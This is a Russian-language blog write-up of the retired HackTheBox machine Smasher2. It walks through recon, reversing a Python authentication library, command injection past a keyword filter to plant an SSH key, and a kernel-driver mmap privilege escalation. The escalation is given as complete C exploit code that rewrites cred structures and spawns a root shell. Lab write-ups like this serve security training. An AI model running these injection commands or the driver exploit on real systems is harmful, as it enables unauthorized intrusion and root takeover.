image

Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы пореверсим библиотеку для python, обойдем WAF и проэксплуатируем уязвимость mmap.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Разведка


Сканирование портов


Данная машиина имеет IP адрес 10.10.10.135, который я добавляю в /etc/hosts.
10.10.10.135 smasher2.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000

image

На хосте открыты 3 порта. Теперь просканируем его с помощью nmap, чтобы получить более подробную информацию.

nmap -A 10.10.10.135 -p22,53,80

image

Таким образом мы имеем SSH, DNS и WEB, который возвращает код 403 (Forbidden, доступ запрещен).

DNS


Давайте прверим DNS. Для этого используем клиент host, с опцией -l, чтобы с помощью AXFR запроса посмотреть список всех хостов в домене.

host -l smasher2.htb 10.10.10.135

image

Таким образом нужно добавить новую запись в /etc/hosts.
10.10.10.135 wonderfulsessionmanager.smasher2.htb

WEB


Теперь перейдем посмотрим, что нам даст WEB при обращении на smasher2.htb.

image

Пусто. В таком случае следует перебрать дирректории. Я использую написанный на языке golang быстрый gobuster. Будем перебирать директории в 128 потоков, нас будут интересовать расширения html, php, txt, conf и коды ответа 200, 204, 301, 302, 307, 401.

gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401

image

Находим директорию backup. Смотрим что в ней.

image

В итоге скачиваем python’овский файл и библиотеку. Далее идем по другому доменному имени, и там находим форму авторизации.

image

Mozilla Firefox плагин Wappalyzer сообщает о том, какие технологии используются. Таким образом сайт написан на python 2.7.15.

image

WEB API


Python


Мы как раз нашли файл auth.py, давайте его разбирать. В первой же строке импорта, мы обращаемся к модулю ses.so, который так же нашли в бэкапах.

image

В коде находим аутентификацию. В случае успешной аутентификации нам вернут secret_token_info.

image

image

Перейдем на точку “/api//job”. Данные принимаются методом POST, при этом они должны быть в формате JSON. Если в данных имеется параметр schedule, то он передается на выполнение как команда в командную строку.

image

Логин и пароль отредактированы… Они передаются в нашу библиотеку, которая создает сессию — объект SessionManager.

image

Функция safe_init_manager(id) будет вызываться при каждом новом обращении, за счет before_request. Таким образом инициализируется новая сессия.

image

В функции login() создается объект manager, зависимый от сессии.

image

А проверка осуществляется методом check_login().

image

Реверс .so


Таким образом нам нужно узнать, как проверяются данные. Для этого в библиотеке нам нужно понять устройство SessionManager.check_login(). Закидываем в IDA Pro, ищем нужную функцию.

image

Открыв функцию, я обратил внимание на ее граф. Меня заинтересовал ряд нижних блоков, перед схождением.

image

Просмативая блоки, можно видеть, о чем говорит та или иная ветка выполнения функции. Таким образом нам нужна только самый правый блок.

image

Я раскрасил интересующую нас линию поведения функции.

image

Теперь пройдемся и посмотрим, что происходит. В одном месте я заметил идентичный код для логина и пароля. А также одно и тоже сравнение.

image

Причем и для логина и для пароля вызывается одна и та же функция.

image

Это говорит о том, что логин и пароль одинаковы. Но так как это значение приходит и python программы и оно было отредактировано, остается только перебирать. Я попробовал стандартные именя и на мое удивление подошло Administator (почему сразу не попробовал...).

image

Entry point


У нас есть ключ. Теперь нужно собрать запрос, чтобы выполнить код. Как было сказано ранее, мы должны отправить методом POST данные, содержащие параметр schedule в формате JSON по адресу wonderfulsessionmanager.smasher2.htb/auth/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job. Сделаем это с помощью curl, а результат передадим в jq. Мы выполним команду whoami.

curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' |  jq

image

Но при пытке выполнить команду “ls”, получаем ошибку.

image

Скорее всего стоит фильтр на команды. Давайте отправим “l\\s” — успешно, что говорит и наличии фильтра.

image

USER


Теперь нам нужно получить в системе нормальную оболочку. В системе работает SSH, поэтому мы можем сгенерировать ключ и довавить его в список авторизованных хостов.

Сначала генерируем ключ.

image

Теперь нам нужно перенести свой публичный ключ в файл /home/dzonerzy/.ssh/authorized_keys. Но чтобы его было легко перенести, воспользуемся кодировнием его в base64.

base64 -w0 id_rsa.pub

Перенесем его сначала во временный файл.

ec\\ho \”c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FER1NtajY5Z0NjM1F4eHpFY1NOQi9WOXBmelhSdng4ekUweEtoQ1hQbytPZ1pWL2pOa2VrUm5PbkFhVmM5a3ZQbWg3bFlBdE40MnlEOFYwWDIrSkVoeHJHOHc3WlRzOFNsSDR0QlNhd3kwdFdOK2EvU2E4Z0xIMkhtVmFSckhHWmIyWWdhQ3o5Z1RZVWJZNFhiSXdvNG8ySER5QWFYOTlnWFoweDhKUHF3dFB2M1BUdmlicVZERGFvRUFnbSs0ajkyVm5BZGNSL1BoWXNwb2RwdEFVa0lhT1ErVnRHWkNsRk1RcDVWOFZHVUJjQlNaUTVoMWlGaW9zdWRaZ2NXWG9LQlJxSmFEUElucVQvMTVJUnZrbzJPOHdNcC9oc2ZUTkRmU0Z2UHk0eXB0TSs4Tm9ReFBZMTdVaTdJeGFzS1RkSTIzcnZhVWV4aCttMEhCYUNwZHVaR0ZRUXhEYWtDNVM4WUNaNmV6NEZaYmZySjRwWUNRTU04RWJ6UUFIZW5IVW1Na3JuWUVXRDk1SWhTcW83NHRUMmZrYWVKWVYvNncvZWtmVE1TL3ZQSE9mdkVhdFZ6Y2ZzUzR4K1VwazY4Y2hXeUtQVlA4a1RQQXNHL0Rzc3pJMUV0UjJnU0pTTFJFRXZrUktmRG9abGJWS0o1eTEvbjVKbmc1cXFBTmNGeklQNE09IHJvb3RAUmFsZi1QQwo=\” > /tmp/ralf

Теперь декодируем и запишем по назначению.
ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys

Мы записали ключ, теперь если все хорошо, по приватному ключу можем подключиться по SSH. Пробуем. И мы в системе.

image

LPE — ROOT


Перечисление


Рядом с токеном пользователя лежит файл README. Прочитаем его.

image

Нам говорят, что мы должны думать не стандартно… Но выполнив стандартные перечисления, и ничего не найдя, обратил внимание на группу, в которой состоит пользователь.

image

Группа adm имеет доступ к интересным файлам.

image

К примеру — auth.log. Там отражаются не только факты успешной и не успешной авторизации, а так же факты использования команды sudo.

strings /var/log/auth.log | grep sudo

image

От имени рута выполняется интересная команда. Но она связана с драйвером, поэтому нужно удостовериться, тем ли путем следуем.

image

Да, к сожалению, все идет к драйверу.

Драйвер


Так как речь идет о драйвере (модуле ядра), получим о нем информацию с помощью modinfo.

image

Сказано, что драйвер нужен для работы с устройством dhid. Проверим.

image

Да. Имеется такое устройство. Для того, чтобы изучить драйвер, я скопировал его себе и загрузил в IDA Pro.

scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./

Скудненький список функций, из которых для PWN нам интересны те, которые работают с памятью. Судя по названиям — это dev_read и dev_mmap.

image

Далее погуглив, я не особо не нашел информацию про уязвимость в драйверах, связанные с чтением, что нельзя сказать о mmap! Поэтому я перешел к ней.

image

Вообще сискол mmap в драйверах необходим для отображения устройства на память и выделения страниц по запросу, так как изначально устройство вообще не использует физическую память.

В данном коде единственным интересным местом является вызов функции remap_pfn_range, позволяющую выполнять линейное отображение памяти устройства на адресное пространство пользователя.
int remap_pfn_range(struct vm_area_struct *vma, unsigned long virt_add, unsigned long pfn, unsigned long size, pgprot_t prot);

Отображает size байт физических адресов, начиная с номера страницы, указанного pfn для виртуального адреса virt_add. Защитные биты, связанные с виртуальным пространством, указаны в prot.

Как обычно, смотрим на параметры, которые предварительно не обрабатываются. Это параметры pfn и size, что позволяет нам отобразить любой объем памяти для чтения и записи.

Эксплоит


Погуглив, что можно с этим сделать, я был поражен возможным спопобом эксплуатации. Если мы сможем найти в памяти управляющую структуру creds, это позволит нам изменить uid пользователя на 0. А потом вызвать шелл, что даст нам оболочку с полными привилегиями.

image

Для начала проверим, можем ли мы отобразить большой объем памяти. Следующий код откроет устройство и отобразит 0xf0000000 байт начиная с адреса 0x40404040 для чтения и записи с возможностью использования этого отражения с другими процессами, отражающими тот же объект.

код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

	printf("pid: %d\n", getpid());
	int fd = open("/dev/dhid", O_RDWR);

	printf("fd: %d\n", fd);

	unsigned long size = 0xf0000000;
	unsigned long start_mmap = 0x40404000;
	unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

   printf("mmap address: %lx\n", addr);
   int stop = getchar();

   return 0;
}


Компилируем: gcc sh.c -o sh.bin и переносим на хост. Запустим.

image

А теперь зайдем в другой терминал ssh и глянем карту памяти этого процесса.

image

Как видим, адрес совпадает, метки для чтения и записи, а так же совместном использовании проставлены. То есть идея рабочая. Следующим шагом нужно будет найти структура creds процесса в памяти. Из структуры выше видно, что отличительным признаком будет 8 чисел, раных нашему uid, идущих подряд.

код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

	printf("pid: %d\n", getpid());
	int fd = open("/dev/dhid", O_RDWR);

	printf("fd: %d\n", fd);

	unsigned long size = 0xf0000000;
	unsigned long start_mmap = 0x40404000;
	unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

	printf("mmap address: %lx\n", addr);

	unsigned int uid = getuid();

	unsigned int cred_cur = 0;
	unsigned int cred_iter = 0;

	while (((unsigned long)addr) < (start_mmap + size - 0x40)){
		cred_cur = 0;
		if(
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid
			){
				cred_iter++;
				printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter);
			}

		addr++;

	}

	fflush(stdout);

	int stop = getchar();
	return 0;
}


Таким образом мы нашли 19 подобных структур.

image

Теперь нам нужно переписать все uid’ы на 0. После того как мы переписываем uid’ы определенной структуры, мы будем проверять свой uid. Как только наш uid станет равным 0 — мы можем предполагать что нашли creds структуру нужного нам процесса.

код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

	printf("pid: %d\n", getpid());
	int fd = open("/dev/dhid", O_RDWR);

	printf("fd: %d\n", fd);

	unsigned long size = 0xf0000000;
	unsigned long start_mmap = 0x40404000;
	unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

	printf("mmap address: %lx\n", addr);

	unsigned int uid = getuid();

	unsigned int cred_cur = 0;
	unsigned int cred_iter = 0;

	while (((unsigned long)addr) < (start_mmap + size - 0x40)){
		cred_cur = 0;
		if(
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid
			){
				cred_iter++;
			
				printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter);
		
				cred_cur = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
		
				if (getuid() == 0){
					printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter);
					break;
				}

				else{
					cred_cur = 0;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
				}
			}

		addr++;

	}

	fflush(stdout);

	int stop = getchar();
	return 0;
}


image

Теперь, после нахождения нужной нам структуры, мы изменим uid на 0xffffffff и вызовем bash оболочку через функцию exec.

код
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

	printf("pid: %d\n", getpid());
	int fd = open("/dev/dhid", O_RDWR);

	printf("fd: %d\n", fd);

	unsigned long size = 0xf0000000;
	unsigned long start_mmap = 0x40404000;
	unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

	printf("mmap address: %lx\n", addr);

	unsigned int uid = getuid();

	unsigned int cred_cur = 0;
	unsigned int cred_iter = 0;

	while (((unsigned long)addr) < (start_mmap + size - 0x40)){
		cred_cur = 0;
		if(
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid &&
			addr[cred_cur++] == uid
			){
				cred_iter++;
			
				printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter);
		
				cred_cur = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
				addr[cred_cur++] = 0;
		
				if (getuid() == 0){
					printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter);
					
					cred_cur += 1; 
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;
					addr[cred_cur++] = 0xffffffff;

					execl("/bin/sh","-", (char *)NULL);
					break;
				}

				else{
					cred_cur = 0;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
					addr[cred_cur++] = uid;
				}
			}

		addr++;

	}

	fflush(stdout);

	int stop = getchar();
	return 0;
}


image

Мы получили root. На самом деле это очень сложная машина, которая требовала уситчивости, чтобы разобраться с данным вариантом LPE.

Конечно было очень трудно прийти к эксплуатации уязвимости именно в драйвере, и я благодарен сообществу, которое помогли подсказкой по способу выхода на драйвер и поделились статье похожей эксплуатаций уязвимость в mmap.

Стоит ли дальше публиковать разбор машин отправленных на дорешивание? Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Комментарии (1)


  1. me_naomi
    19.12.2019 16:51

    Отличный разбор тачки, узнал много нового. Продолжай выкладывать такое!